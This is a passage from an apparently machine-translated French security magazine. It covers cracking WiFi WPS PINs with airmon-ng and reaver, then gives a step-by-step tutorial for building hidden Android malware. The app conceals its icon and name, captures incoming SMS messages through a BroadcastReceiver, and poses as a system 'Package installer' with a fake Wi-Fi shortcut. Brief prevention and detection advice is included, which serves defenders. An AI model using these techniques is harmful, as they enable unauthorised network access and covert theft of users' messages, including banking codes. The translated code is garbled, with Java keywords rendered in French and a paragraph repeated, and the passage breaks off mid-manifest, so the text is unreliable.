Vous êtes sur la page 1sur 60

Piratage WiFi

Figure 15: Vérification de l'interface sans fil

Étape 2: Démarrez le mode de surveillance de l'interface.

1. Commander: airmon-ng start wlan0

Figure 16: Démarrage de la surveillance de l'interface sans fil

Comme nous pouvons le voir, de nombreux PID (ID de processus) sont en cours d'exécution, ce qui peut interférer avec notre piratage, alors tuons-les.

111
Piratage WiFi

Figure 17: Les PID sont en cours d'exécution

Étape 3: Tuez tous les identifiants de processus.

1. Commander: tuer ( tapez tous les PID) par exemple: tuer 2646 2750 et appuyez sur «Entrée».

Étape 4: Maintenant, pour vérifier comment de nombreux routeurs ont leur WPS verrouillé ou non.

1. Commande: laver -i mon0

Figure 18: Vérification du code PIN WPS est verrouillé ou NON

Étape 5: Démarrage de Reaver pour attaquer le routeur WIFI, forçage brutal de la broche WPS et obtention du mot de passe.

1. Commander: reaver -i mon0 -b [ BSSID va ici] - d 30 -S -N -c 6 –vv

112
Piratage WiFi

Figure 19: Commande Reaver pour démarrer le piratage Wi-Fi

Remarque: le temps de craquage ou de récupération de la phrase secrète peut varier d'un système à l'autre et la force du signal.

Asseyez-vous et prenez un café «Reaver» fera son travail et vous présentera la phrase de passe.
Ici, nous allons avec la phrase de passe ou le mot de passe du routeur WIFI.

OK, alors allons-y avec deux bons outils pour le piratage WIFI.

Figure 20: Le mot de passe WIFI a été piraté.

Prévention du piratage du WIFI

Ce n'est pas toujours vrai que le WIFI peut être piraté, nous pouvons nous assurer qu'ils sont protégés avec quelques petites choses à faire.

113
Piratage WiFi

1. Une méthode simple: VÉRIFIEZ VOS FEUX DE ROUTEUR SANS FIL

Votre routeur sans fil doit avoir des voyants indiquant la connectivité Internet, les connexions réseau câblées et toute activité
sans fil, de sorte qu'une façon de voir si quelqu'un utilise votre réseau est d'éteindre tous les périphériques sans fil et d'aller
voir si ce voyant sans fil clignote toujours. .

2. Deuxième méthode: VÉRIFIEZ LES VOYANTS DE VOTRE ROUTEUR SANS FIL

La console d'administration de votre routeur peut vous aider à en savoir plus sur l'activité de votre réseau sans fil et à modifier vos paramètres

de sécurité.

Accédez à votre liste de périphériques, elle devrait fournir une liste d'adresses IP, d'adresses MAC et de noms de périphériques (si détectables) que vous

pouvez vérifier. Comparez les appareils connectés à votre équipement pour trouver les utilisateurs indésirables.

Maintenant, comment protéger votre WIFI contre le piratage

Ne laissez pas les étrangers utiliser votre réseau

Protégez votre connexion sans fil par mot de passe. Activez WEP (confidentialité d'équivalence filaire) ou WPA (accès protégé Wi-Fi)

sur tous vos appareils, y compris votre routeur, votre centre multimédia et votre système de divertissement Microsoft Xbox.

1. Rendez votre mot de passe unique (comme P @ 55w0rd @ 09)

2. Avoir un cryptage de mot de passe WPA2 qui offre la meilleure sécurité et un niveau élevé également

3. Continuez à changer votre mot de passe tous les 15 jours ou dans un délai d'un mois.

4. Gardez votre code PIN WPS verrouillé

Déplacez votre routeur sans fil

Placez le point d'accès sans fil loin des fenêtres et maintenez-le près du centre de votre maison pour diminuer la force du signal en

dehors de la zone de couverture prévue.

Défendez votre ordinateur

Gardez tous les logiciels à jour (y compris votre navigateur Web) avec des mises à jour automatiques. Assurez-vous que votre pare-feu est activé

et utilisez un logiciel antivirus et antispyware provenant d'une source de confiance.

114
Piratage WiFi

Gardez vos connexions sécurisées.

Il est facile de désactiver la fonctionnalité de votre navigateur qui saisit automatiquement les identifiants et les mots de passe. Dans un lieu public, faites-le en tant que

meilleure pratique.

Vérifiez la vitesse d'Internet / de téléchargement

Lorsque vous téléchargez quelque chose, voyez si la vitesse de téléchargement est faible: il se peut que votre WIFI soit utilisé par d'autres et la meilleure

façon de vérifier est un test en ligne de la vitesse d'Internet.

Nous allons donc ici avec le piratage et l'atténuation du WIFI. Continuez à apprendre et soyez en sécurité.

Remarque: l'article ci-dessus est à des fins éducatives et de test de sécurité uniquement, pour vérifier la vulnérabilité de votre

routeur WIFI.

Les références :

● http://prasoon-nigam.blogspot.in/2012/01/safe-ur-wifi-from-being-hacked. html

● http://www.dummies.com/computers/computer-networking/wireless/wir
eless-security-protocoles-wep-wpa-and-wpa2 /

● https://en.wikipedia.org

115
APK
A PROPOS DE L'AUTEUR

MilanOulehla
doctorat étudiant (formation à distance - Faculté d'informatique

appliquée - Université Tomas Bata de Zlín) Membre de la section

sécurité mobile - http://ptlab.fai.utb.cz/oulehla/


APK caché

introduction

Les appareils mobiles tels que les smartphones, les tablettes et le matériel portable (par exemple les montres intelligentes) sont devenus une

composante courante de notre société. Ce fait peut être illustré par Facebook: au quatrième trimestre 2015, il comptait 51,7% d'utilisateurs

uniquement mobiles et cette tendance est en constante augmentation [1]. Il existe trois principaux systèmes d'exploitation mobiles: Android

développé par Google Inc., iOS d'Apple et Windows Phone (la dernière version a été renommée Windows 10 Mobile). Le système d'exploitation

Android a dominé le marché avec 82,8% de part (T2 2015) [2], ce qui en fait le système d'exploitation mobile le plus répandu au monde.

Cependant, cette popularité est à double tranchant, y compris à la fois les utilisateurs et les créateurs de logiciels malveillants, ce qui entraîne un

grand nombre d'applications Android malveillantes. C'est la raison pour laquelle cet article traite d'un type d'infection par l'APK: l'APK caché sur la

plate-forme Android.

Contexte théorique

Quelques termes essentiels utilisés dans le domaine du développement d'APK caché seront expliqués. Cela permettra une meilleure

compréhension des techniques décrites dans cet article. Nous commencerons par Hidden APK, un logiciel malveillant qui ne fournit aucune

fonctionnalité utile aux utilisateurs et doit donc camoufler sa présence sur les appareils mobiles. Ces logiciels malveillants utilisent souvent

BroadcastReceiver pour ses intentions nuisibles. Un autre terme important est la classe d'activité, définie sur le site Web officiel d'Android

comme suit: «Une activité représente un écran unique avec une interface utilisateur. Par exemple, une application de messagerie peut avoir une

activité qui affiche une liste de nouveaux e-mails, une autre activité pour rédiger un e-mail et une autre activité pour les lire. Bien que les activités

fonctionnent ensemble pour former une expérience utilisateur cohérente dans l'application de messagerie, chacune est indépendante des

autres. En tant que tel, une application différente peut démarrer l'une de ces activités (si l'application de messagerie le permet). Par exemple, une

application de caméra peut démarrer l'activité dans l'application de messagerie qui compose un nouveau courrier, afin que l'utilisateur puisse

partager une photo »[ 3]. En d'autres termes, une activité est à la fois une interface utilisateur graphique et une logique d'application d'un seul

écran. L'aspect de l'interface graphique d'une activité particulière est défini dans le fichier de mise en page XML stocké dans … / Res / layout annuaire.

Ensuite, nous présenterons BroadcastReceiver défini comme: «Un récepteur de diffusion est un composant qui répond aux annonces de

diffusion à l'échelle du système. De nombreuses émissions proviennent du système; par exemple, une émission annonçant que l'écran s'est

éteint, que la batterie est faible ou qu'une photo a été capturée. Les applications peuvent également lancer des diffusions, par exemple, pour

informer d'autres applications que certaines données ont été téléchargées sur l'appareil et qu'elles sont disponibles pour leur utilisation. Bien

que les récepteurs de diffusion n'affichent pas d'interface utilisateur, ils peuvent créer une notification de barre d'état pour alerter l'utilisateur

lorsqu'un événement de diffusion se produit »[ 3]. Le BroadcastReceiver est une classe qui n'a pas d'interface graphique, il s'exécute

silencieusement en arrière-plan et surtout il peut traiter les diffusions du système. Toutes ces fonctionnalités rendent BroadcastReceiver

particulièrement populaire auprès des auteurs de logiciels malveillants.

118
APK caché

Bref historique de l'APK caché

Les premières versions de Hidden APK étaient des applications malveillantes dont toute la logique d'application était implémentée uniquement dans

BroadcastReceiver. Ils n'avaient aucune activité ou d'autres composants de l'interface graphique. Certains programmeurs et experts en sécurité ont

appelé ces logiciels malveillants 'Applications maléfiques'

(http://stackoverflow.com/questions/22318161/start-application-without-activity-my-broadcast-receiver-not-work
) . C'était essentiellement l'âge d'or des logiciels malveillants mobiles, car le système d'exploitation aidait beaucoup les créateurs de logiciels
malveillants, car les auteurs de logiciels malveillants n'avaient pas à gérer le démarrage automatique des logiciels malveillants une fois le

démarrage du système d'exploitation terminé. De plus, il n'était pas nécessaire pour eux de créer une boucle de surveillance en attente d'un

certain événement, par exemple, des SMS entrants ou la connexion de l'appareil au Wi-Fi, etc. En revanche, les utilisateurs n'avaient qu'une

petite chance de le savoir qu'une application maléfique était sur leurs téléphones. Ces APK cachés fonctionnaient jusqu'à la dernière version

d'Android Gingerbread. Étant donné que la situation des logiciels malveillants Android basés sur Hidden APK est devenue sérieuse, Google a

introduit des fonctionnalités de sécurité utilisées pour la première fois dans Android Honeycomb et elles sont toujours valides. Les améliorations

sont basées sur l'idée que chaque application utilisant BroadcastReceiver, qui exige des autorisations telles que la lecture de SMS,

l'enregistrement audio, etc., doit également avoir une activité. En d'autres termes, si une application souhaite traiter quelque chose en

arrière-plan via BroadcastReceiver en utilisant des autorisations, cette application doit avoir une activité car il doit y avoir une partie visible

donnant aux utilisateurs une chance de réaliser que quelque chose ne va pas.

Si vous créez une ancienne version d'APK caché, vous pouvez l'installer dans les nouvelles versions d'Android; il fonctionnera mais ne répondra

jamais aux diffusions du système, donc ce malware ne fonctionnera pas. Dans la partie suivante, l'article traite du contournement de ce

mécanisme de sécurité. Veuillez tenir compte des faits suivants:

• Ce didacticiel a été créé pour la dernière version d'Android Studio 2.0. C'est l'IDE officiel pour le développement d'applications
Android. Contrairement aux versions précédentes, Android Studio 2.0 génère des fichiers et une structure de projet légèrement

différents. En d'autres termes, si vous souhaitez créer un APK caché dans les versions précédentes, vous pouvez toujours réussir

mais cela nécessite un effort supplémentaire et vous devrez ajuster les techniques décrites dans ce tutoriel. Par exemple,

certaines anciennes versions d'Android Studio exigent que l'activité en développement soit une instance de la classe Activity et

non AppCompatActivity (dans ce cas, l'APK caché se termine par un plantage), etc. Cependant, le principe est le même.

• Nous allons créer un brouillon d'APK caché, car la création d'un véritable logiciel malveillant est un processus
assez compliqué qui dépasse le cadre de l'article.

• Enfin, nous souhaitons que vous n'utilisiez pas les techniques décrites pour commettre une cybercriminalité. Au contraire, cet article tente de

faire la lumière sur les techniques permettant d'autoriser les logiciels malveillants APK cachés, améliorant ainsi la sécurité dans ce domaine.

119
APK caché

Développement d'un logiciel APK caché moderne basé sur


BroadcastReceiver

Comme mentionné ci-dessus, une activité est désormais une partie obligatoire des candidatures; ainsi, si nous voulons développer des logiciels malveillants

basés sur BroadcastReceiver, nous devrons utiliser des techniques permettant le masquage d'activité. Dans ce tutoriel, nous n'allons pas appliquer un processus

simple mais une méthode étape par étape nous permettant de mieux comprendre l'interaction entre notre code et la réponse du système d'exploitation. De plus,

vous pouvez suivre le processus progressif des créateurs de logiciels malveillants.

Tout d'abord, nous allons créer un nouveau projet Android Studio qui contiendra une application nommée «Z». La raison de ce nom sera expliquée plus

tard. Appelons l'activité 'MainActivity' et le nom de la mise en page 'activity_main'. Les deux sont des valeurs par défaut. Une fois qu'Android Studio

génère un nouveau projet, la structure de l'application développée est prête et nous pouvons essayer de l'exécuter.

Remarque: toutes les captures d'écran proviennent d'un véritable appareil physique HTC One M8 fonctionnant sous Android Lollipop. Le papier

peint blanc a été utilisé car les éléments de l'interface utilisateur doivent être clairement visibles.

La première exécution de l'application est représentée dans le F igure ci-dessous:

Figure 1 La première exécution de l'application

120
APK caché

Comme vous pouvez le voir, cette application est entièrement visible et n'a aucune fonctionnalité, nous allons donc commencer par modifier … / Res /

values / styles.xml fichier afin de supprimer des composants tels que la barre d'applications ou le menu. Le résultat de la modification est illustré à la

figure 2, la barre d'application a disparu et l'arrière-plan est maintenant entièrement transparent. Veuillez noter que les composants de l'application

peuvent être modifiés dans les futures versions d'Android et que nous devrons alors rechercher les ajustements appropriés du fichier styles.xml. Nous

allons le changer du contenu original généré par Android Studio en ceci:

<ressources>

<! - Thème de base de l'application. ->

<style name = "AppTheme" parent = "Theme.AppCompat.Light.DarkActionBar">

<! - Personnalisez votre thème ici. ->

<item name = "android: windowIsTranslucent"> true </item>

<item name = "android: windowBackground"> @ android: color / transparent </item> <item

name = "android: windowContentOverlay"> @ null </item>

<item name = "android: windowNoTitle"> true </item>

<item name = "android: windowIsFloating"> true </item>

<item name = "android: backgroundDimEnabled"> false </item>

</style>

</resources>

121
APK caché

Figure 2 L'application après ajustement du fichier styles.xml

On peut encore voir un élément d'interface utilisateur avec le texte "Bonjour le monde!". Nous pouvons le supprimer en ajustant … / Res /

layout / activity_main.xml. Nous devons supprimer tous les éléments de l'interface utilisateur du fichier. Dans ce cas, nous supprimerons

uniquement l'élément TextView. Veuillez noter que l'élément racine décrivant la mise en page, tel que LinearLayout ou RelativeLayout, doit

être conservé. Sinon, la compilation du programme échoue. Le final activity_main.xml le fichier ressemble à ceci:

<? xml version = "1.0" encoding = "utf-8"?>

<RelativeLayout xmlns: android = "http://schemas.android.com/apk/res/android"

xmlns: tools = "http://schemas.android.com/tools"

android: layout_width = "match_parent"

android: layout_height = "match_parent"

android: paddingBottom = "@ dimen / activity_vertical_margin" android:

paddingLeft = "@ dimen / activity_horizontal_margin" android:

paddingRight = "@ dimen / activity_horizontal_margin"

122
APK caché

android: paddingTop = "@ dimen / activity_vertical_margin"

outils: context = "org.hakin9.z.MainActivity">

</RelativeLayout>

L'élément d'interface utilisateur avec le texte "Hello World!" n'est plus visible, comme le montre la figure 3.

Figure 3 L'élément de l'interface utilisateur est supprimé

Néanmoins, le nom de l'application est toujours visible (voir Figure 3), nous allons donc ajuster le … / Res / values / strings.xml déposer.

Nous allons changer la valeur de app_name de «Z» à "& # 160;" (& # 160; est l'espace). Cet ajustement a deux résultats: l'activité n'est

pas visible maintenant (comme le montre la figure 4), et la légende de l'icône a également disparu (voir les figures 5 et 6).

123
APK caché

Figure 4 L'activité n'est pas visible maintenant Figure 5 Légende standard de notre application

Figure 6 Notre application sans légende

124
APK caché

Maintenant, il est clair pourquoi le nom de l'application est «Z»: ce nom garantit que l'icône de l'application sera le dernier élément de la liste des icônes.

Il y a un autre problème que vous pouvez voir sur la figure 6, à savoir que l'icône de notre application est toujours visible. Heureusement, nous pouvons

facilement résoudre ce problème en remplaçant l'icône d'origine par une image PNG transparente. Nous devons le faire pour chaque résolution, en

suivant les étapes présentées ci-dessous:

Fermons le projet dans Android Studio en cliquant sur Fichier -> Fermer le projet. En utilisant n'importe

quel gestionnaire de fichiers:

• dans … / Res / mipmap-hdpi , nous pouvons remplacer l'icône originale ic_launcher.png par une image png transparente de
72x72 pixels. La nouvelle icône transparente doit avoir exactement le même nom que l'icône d'origine.

• dans … / Res / mipmap-mdpi répertoire, nous pouvons remplacer l'icône originale ic_launcher.png par une image png
transparente de taille 48x48 pixels. La nouvelle icône transparente doit avoir exactement le même nom que l'icône d'origine.

• dans … / Res / mipmap-xhdpi répertoire, nous pouvons remplacer l'icône originale ic_launcher.png par une image png
transparente de taille 96x96 pixels. La nouvelle icône transparente doit avoir exactement le même nom que l'icône d'origine.

• dans le répertoire… / res / mipmap-xxhdpi, nous pouvons remplacer l'icône originale ic_launcher.png par une image png
transparente de 144x144 pixels. La nouvelle icône transparente doit avoir exactement le même nom que l'icône d'origine.

• dans … / Res / mipmap-xxxhdpi , nous pouvons remplacer l'icône originale ic_launcher.png par une image png transparente
de la taille 192x192 pixels. La nouvelle icône transparente doit avoir exactement le même nom que l'icône d'origine.

Ensuite, nous rouvrirons notre projet et exécuterons notre application.

Remarque: en raison d'une erreur inconnue dans la communication entre Android Studio et l'appareil mobile
de test, il peut arriver que l'icône d'origine soit toujours visible. Dans ce cas, nous devons désinstaller notre
application par commande: adb désinstallez votre.nom.package ( par example: adb désinstaller org.hakin9.z) puis
réinstallez-le à l'aide d'Android Studio.

Pour le moment, l'icône et la légende de notre malware ne sont plus visibles (voir Figure 7).

125
APK caché

Figure 7 L'icône avec sa légende de notre malware n'est plus visible

Néanmoins, l'icône de l'application existe toujours et les utilisateurs peuvent cliquer dessus. Nous allons maintenant nous concentrer sur ce qui se passe si

l'utilisateur clique sur la zone d'icônes cachées (voir Figure 8).

Figure 8 Zone de l'icône cachée

Cela peut arriver soit par accident, soit lors du défilement de la liste des icônes. Après un tel clic, un utilisateur ne pourra voir
aucune réponse visible, puis l'appareil mobile cessera de répondre aux pressions de l'utilisateur sur l'écran. Le smartphone de
l'utilisateur aura l'air d'être complètement "gelé". En fait, l’appareil n’est pas "figé", il se comporte ainsi car

126
APK caché

l'activité transparente est au premier plan et occupe tout l'écran. Cela signifie que l'utilisateur ne clique sur aucune autre icône à l'écran ou qu'il ne fait pas défiler la liste des icônes

vers le haut ou vers le bas, en réalité l'utilisateur touche l'activité transparente située sur tous les éléments graphiques visibles à l'écran. Un tel comportement est inacceptable car il

peut conduire à compromettre nos logiciels malveillants. Par conséquent, nous devrons le réparer. À ce stade, nous vous recommandons de lire «Gestion du cycle de vie des

activités» [4] en mettant l'accent sur la méthode onResume. La méthode onResume est appelée chaque fois qu'une activité passe au premier plan. Cela se produira dans toutes les

circonstances, même si une Activité est lancée pour la toute première fois après le démarrage du système d'exploitation. Par conséquent, en théorie, il n'est pas nécessaire d'appeler

onResume car l'activité ne revient pas. C'est une fonctionnalité très importante qui nous aidera à résoudre le problème du gel d'écran apparent: nous pouvons appeler `` finish '' à

partir de la méthode onResume, ce qui fait qu'une activité se déplace immédiatement en arrière-plan juste après son entrée au premier plan. Il garantit que l'activité libère l'écran de

l'appareil Android. Il y a un flash pendant la transition de l'activité de l'arrière-plan vers le premier plan et vice versa, cependant, ce flash n'est pas visible car l'activité est entièrement

transparente. Voici le code ajusté de notre activité masquée: Il garantit que l'activité libère l'écran de l'appareil Android. Il y a un flash pendant la transition de l'activité de

l'arrière-plan vers le premier plan et vice versa, cependant, ce flash n'est pas visible car l'activité est entièrement transparente. Voici le code ajusté de notre activité masquée: Il

garantit que l'activité libère l'écran de l'appareil Android. Il y a un flash pendant la transition de l'activité de l'arrière-plan vers le premier plan et vice versa, cependant, ce flash n'est

pas visible car l'activité est entièrement transparente. Voici le code ajusté de notre activité masquée:

package org.hakin9.z;

import android.support.v7.app.AppCompatActivity;

import android.os.Bundle;

import android.util.Log;

la classe publique MainActivity étend AppCompatActivity {

@Passer outre

protected void onCreate (Bundle savedInstanceState) {

super.onCreate (savedInstanceState);

setContentView (R.layout.activity_main);

127
APK caché

@Passer outre

public void onResume ()

super.onResume ();

Log.d ("hakin9app", "L'application est en cours d'exécution.");

terminer();

À partir de maintenant, nos logiciels malveillants sont complètement masqués, ce qui signifie qu'il est temps de mettre en œuvre une fonctionnalité

malveillante à l'aide de BroadcastReceiver. Nous allons créer une nouvelle classe appelée MalwareReciever qui sera une instance de la classe

BroadcastReceiver. Ensuite, nous mettrons un morceau de code malveillant dans la méthode onReceive de notre BroadcastReceiver:

package org.hakin9.z;

importer android.content.BroadcastReceiver;

importer android.content.Context;

importer android.content.Intent;

importer android.os.Bundle;

importer android.telephony.gsm.SmsMessage;

importer android.util.Log;

importer android.widget.Toast;

importer java.sql.Date;

importer java.text.SimpleDateFormat;

importer java.util.Calendar;

128
APK caché

public class MalwareReceiver étend BroadcastReceiver {

@Passer outre

public void onReceive (Contexte contextuel, intention d'intention) {

essayer

Bundle bundle = intent.getExtras (); String

sMSMessageString = "";

Object [] pdusObj = (Object []) bundle.get ("pdus");

SmsMessage smsMessage = SmsMessage.createFromPdu ((octet []) pdusObj [0]);

sMSMessageString + = "De:" + smsMessage.getOriginatingAddress ();

Calendrier calendrier = Calendar.getInstance ();

calendar.setTime (nouvelle date (smsMessage.getTimestampMillis ()));

SimpleDateFormat sdf = new SimpleDateFormat ("'\ nDate:' MM-jj-aaaa


'\ nHeure:' HH: mm");

sMSMessageString + = sdf.format (calendar.getTime ());

sMSMessageString + = "\ nTexte:" + smsMessage.getMessageBody ();

129
APK caché

Toast.makeText (contexte, "\ n *** SMS capturés *** \ n" + sMSMessageString,

Toast.LENGTH_LONG) .show ();

catch (Exception e)

Log.d ("application hakin9", e.toString ());

Expliquons ce que fait le code ci-dessus. Lorsqu'un SMS arrive au système, notre BroadcastReceiver sera appelé et la méthode OnReceive lira le

numéro de l'expéditeur, la date et l'heure du SMS et le corps du message. Ce code n'est qu'un exemple illustratif, pour cette raison, toutes les

informations volées du SMS entrant sont affichées de manière inoffensive sur un appareil mobile comme vous pouvez le voir sur la figure 10.

Cependant, un scénario réel serait différent. Ces logiciels malveillants peuvent être utilisés de manière abusive, par exemple pour voler des

messages envoyés à la banque de l'utilisateur. Voir le cycle d'attaque MitMo sur

https://securityintelligence.com/mobile-malware-why-fraudsters-are-two-steps-ahead.

Si nous lançons notre application maintenant, cela ne fonctionnera pas car nous n'avons pas enregistré votre BroadcastReceiver dans

AndroidManifest.xml et nous n'avons pas non plus déclaré les autorisations nécessaires pour effectuer la lecture de SMS par notre code. Faisons

le:

<? xml version = "1.0" encoding = "utf-8"?>

<manifest xmlns: android = "http://schemas.android.com/apk/res/android"

package = "org.hakin9.z">

<uses-permission android: name = "android.permission.RECEIVE_SMS" />

<application

android: allowBackup = "true"

130
APK caché

android: icon = "@ mipmap / ic_launcher"

android: label = "@ string / app_name"

android: supportsRtl = "true"

android: theme = "@ style / AppTheme">

<receiver android: name = ". MalwareReceiver"

android: exporté = "vrai"

android: permission = "android.permission.BROADCAST_SMS">

<filtre-intentionnel>

<action android: name = "android.provider.Telephony.SMS_RECEIVED" />

</intent-filter>

</receiver>

<activity android: name = ". MainActivity">

<filtre-intentionnel>

<action android: name = "android.intent.action.MAIN" />

<category android: name = "android.intent.category.LAUNCHER" />

</intent-filter>

</activity>

</application>

</manifest>

À ce stade, le brouillon de notre APK caché est terminé et il peut s'exécuter. Nous tenons à souligner la caractéristique importante du malware

écrit de cette manière: il est pleinement opérationnel indépendamment du fait que notre application de malware ne soit pas visible sur la liste

des tâches récentes comme vous pouvez le voir dans les figures 9 et 10.

131
APK caché

Figure 9 La liste des tâches récentes est vide Figure 10 Le logiciel est entièrement opérationnel

Hidden APK est un type de malware mobile particulièrement dangereux utilisant des techniques de camouflage avancées. Pour cette raison, il

peut être difficile pour les experts en sécurité mobile et les scans antivirus de le reconnaître sans une bonne connaissance de ce type de

malware. Heureusement, les experts en sécurité équipés des informations décrites dans cet article peuvent très facilement détecter les logiciels

malveillants APK cachés. Tout ce qu'ils ont à faire est de décompiler l'APK de l'application inspectée, puis:

• vérifier si dans ... / res / values / strings.xml fichier la balise de chaîne avec le nom de paramètre = " nom de l'application"
ne contient pas de chaîne vide ni de caractère (s) d'espacement, tels que "", "", "", "," & # 160; " etc.

• vérifier si les répertoires … / Res / mipmap-hdpi,… / res / mipmap-mdpi,… / res / mipmap-xhdpi,… /


res / mipmap-xxhdpi et… / res / mipmap-xxxhdpi ne contiennent pas d'images png transparentes utilisées comme

icône d'application.

Cette simple analyse statique de l'application permet de détecter de manière fiable les logiciels malveillants APK cachés.Les experts en

sécurité peuvent ainsi gagner du temps et laisser de côté une analyse dynamique exigeante de l'APK caché, ce qui complique la

découverte d'une intention malveillante particulière.

Remarque: Pour la décompilation, nous aimerions vous recommander un excellent APKTool qui est un outil
confortable et facile pour la rétro-ingénierie (voir Figure 11). Pour plus d'informations sur APKTool et son
téléchargement, veuillez visiter:

http://ibotpeaches.github.io/Apktool.

132
APK caché

Figure 11 Décompilation à l'aide d'APKTool

Développement d'un malware APK caché moderne basé sur l'interaction avec un

utilisateur

Pour le moment, nous nous concentrerons sur une autre version de l'APK caché qui exige une coopération involontaire de la part des

utilisateurs. Nous essaierons d'inciter les utilisateurs à lancer eux-mêmes nos logiciels malveillants. Nous créerons à nouveau un brouillon

de malware, mais dans ce cas, nous créerons un scénario typique abusant de l'alias d'activité. Il existe des dizaines de versions possibles

en fonction uniquement de l'inventivité des créateurs de logiciels malveillants. Comme mentionné ci-dessus, sachez que la création d'un

logiciel malveillant parfait prend du temps et doit traiter de nombreuses choses pour que le logiciel malveillant s'exécute dans toutes les

circonstances possibles, telles que différentes versions d'Android, le comportement inhabituel de l'utilisateur, les réponses du système

d'exploitation. influencé par la présence d'interfaces tactiles / utilisateur de grands producteurs d'appareils mobiles (TouchWiz de

Samsung, HTC Sense ...), etc.

Nous allons d'abord créer un nouveau projet Android Studio avec le nom d'application 'Package installer'. La raison de ce nom sera

expliquée plus tard au cours du processus d'installation du logiciel malveillant avec une capture d'écran explicative. Le nom de l'activité

sera «MainActivity» et le nom de la mise en page sera «activity_main» (les deux sont des valeurs par défaut). Dès qu'Android Studio 2.0

aura fini de générer le nouveau projet, l'interface graphique de l'application ressemblera beaucoup à celle de la figure 1. En fait, il n'y a

qu'une seule différence, qui est le texte 'Package installer' au lieu de 'Z' sur la barre d'application de notre application. Cela signifie que

l'activité de notre application est entièrement visible et que par conséquent, nous supprimerons l'élément TextView

dans … Res / layout / activity_main.xml. Voici le contenu modifié du activity_main.xml déposer:

<? xml version = "1.0" encoding = "utf-8"?>

<RelativeLayout xmlns: android = "http://schemas.android.com/apk/res/android"

xmlns: tools = "http://schemas.android.com/tools"

android: layout_width = "match_parent"

android: layout_height = "match_parent"

android: paddingBottom = "@ dimen / activity_vertical_margin"

133
APK caché

android: paddingLeft = "@ dimen / activity_horizontal_margin" android:

paddingRight = "@ dimen / activity_horizontal_margin" android:

paddingTop = "@ dimen / activity_vertical_margin"

outils: context = "org.hakin9.packageinstaller.MainActivity">

</RelativeLayout>

Le texte ' Bonjour W orld! ' disparu comme le montre la figure 12.

Figure 12 Le texte "HelloWorld!" n'est pas visible

Si nous jetons un œil à la liste des icônes des applications installées, nous verrons notre icône de malware. La situation est illustrée à la

figure 13.

134
APK caché

Figure 13 Icône par défaut de notre application

Cependant, nous voulons changer l'apparence de l'icône pour ce que l'on peut voir dans la figure 14.

Figure 14 Icône et sa légende que nous voulons atteindre.

Notre légende a la valeur correcte, contrairement à l'image de l'icône, nous allons donc la changer. Le processus est très similaire à celui que

nous avons effectué dans la section précédente (icônes transparentes): nous fermerons le projet dans Android Studio en cliquant sur Fichier ->

Fermer le projet. Ensuite, nous utiliserons n'importe quel gestionnaire de fichiers et remplacerons l'icône d'origine ic_launcher.png par des

icônes qui ressemblent à l'icône de l'installateur de package de la figure 14. Il n'est même pas nécessaire de créer de fausses icônes, car il est

possible de simplement les copier à partir de notre Répertoire SDK (si vous avez installé Android SDK, pour plus d'informations, visitez:

135
APK caché

http://developer.android.com/sdk/index.html). Cette procédure doit être répétée pour tous les répertoires correspondant à différentes

résolutions de périphériques:

… / Res / mipmap-hdpi (taille d'image de 72x72 pixels)… / res /

mipmap-mdpi (taille d'image de 48x48 pixels)… / res / mipmap-xhdpi

(taille d'image de 96x96 pixels)… / res / mipmap-xxhdpi ( taille d'image

de 144x144 pixels)… / res / mipmap-xxxhdpi (taille d'image de 192x192

pixels)

Toutes les nouvelles icônes doivent avoir exactement le même nom (ic_launcher.png) afin de remplacer l'icône d'origine. Ensuite, nous rouvrirons

notre projet dans Android Studio et exécuterons notre application. L'étape que nous venons de franchir a abouti au fait que la véritable icône de

«Package installer» et notre icône de malware sont les mêmes.

Figure 15 Notre brouillon de malware a maintenant une icône appropriée

Étant donné que BroadcastReceiver n'a pas d'interface graphique avec laquelle l'utilisateur peut interagir, nous devons créer une autre

activité qui sera lancée via un alias d'activité de fraude par l'utilisateur. Notre nouvelle activité s'appellera WifiSettings et voici un exemple:

package org.hakin9.packageinstaller;

136
APK caché

import android.os.Bundle;

import android.support.v7.app.AppCompatActivity;

public class WifiSettings étend AppCompatActivity {

@Passer outre

protected void onCreate (Bundle savedInstanceState) {

super.onCreate (savedInstanceState);

// Notez que MainActivity et WifiSettings utilisent le même fichier de mise en page XML! setContentView

(R.layout.activity_main);

Veuillez noter que MainActivity et WifiSettings utilisent le même fichier de mise en page XML! Voir l'extrait du code ci-dessus. La prochaine

étape consiste à ajouter une fausse icône Wi-Fi (la taille optimale est de 192x192 pixels) dans le ... / res / répertoire dessinable. Dans notre

cas, le nom de la fausse icône Wi-Fi est wifi_icon.png. Maintenant, nous allons éditer le ... / res / values / strings.xml fichier en ajoutant ces

deux lignes:

<string name = "wifi_settings_activity_name"> Wi-Fi </string> <string name

= "wifi_settings_alias"> Wi-Fi </string>

Nous allons ajouter une balise d'activité d'activité WifiSettings au fichier AndroidManifest.xml. Il est important de placer correctement la balise d'activité,

comme indiqué dans le code ci-dessous, par conséquent, nous déclarons ici l'ensemble du fichier AndroidManifest.xml modifié:

<? xml version = "1.0" encoding = "utf-8"?>

<manifest xmlns: android = "http://schemas.android.com/apk/res/android"

package = "org.hakin9.packageinstaller">

137
APK caché

<application

android: allowBackup = "true"

android: icon = "@ mipmap / ic_launcher"

android: label = "@ string / app_name"

android: supportsRtl = "true"

android: theme = "@ style / AppTheme">

<activity android: name = ". MainActivity">

<filtre-intentionnel>

<action android: name = "android.intent.action.MAIN" />

<category android: name = "android.intent.category.LAUNCHER" />

</intent-filter>

</activity>

<activité

android: name = ". WifiSettings"

android: label = "@ string / wifi_settings_activity_name"

android: theme = "@ style / AppTheme">

</activity>

</application>

</manifest>

138
APK caché

Après cet ajustement, nous pouvons lancer notre malware. Il n'y a pas de changement sur la liste des icônes, l'icône Wi-Fi est toujours

absente. La situation est la même que celle illustrée à la figure 15. Cela signifie qu'une modification supplémentaire

d'AndroidManifest.xml sera nécessaire pour remplacer l'icône du programme d'installation du package par l'icône Wi-Fi. Nous allons

ajouter la balise activity-alias, prendre <category android: name = "android.intent.category.LAUNCHER" /> de MainActivity et nous la

collerons dans activity-alias de WifiSettings Activity:

<? xml version = "1.0" encoding = "utf-8"?>

<manifest xmlns: android = "http://schemas.android.com/apk/res/android"

package = "org.hakin9.packageinstaller">

<application

android: allowBackup = "true"

android: icon = "@ mipmap / ic_launcher"

android: label = "@ string / app_name"

android: supportsRtl = "true"

android: theme = "@ style / AppTheme">

<activity android: name = ". MainActivity">

<filtre-intentionnel>

<action android: name = "android.intent.action.MAIN" />

</intent-filter>

</activity>

<activité

android: name = ". WifiSettings"

android: label = "@ string / wifi_settings_activity_name"

139
APK caché

android: theme = "@ style / AppTheme">

</activity>

<alias-activité

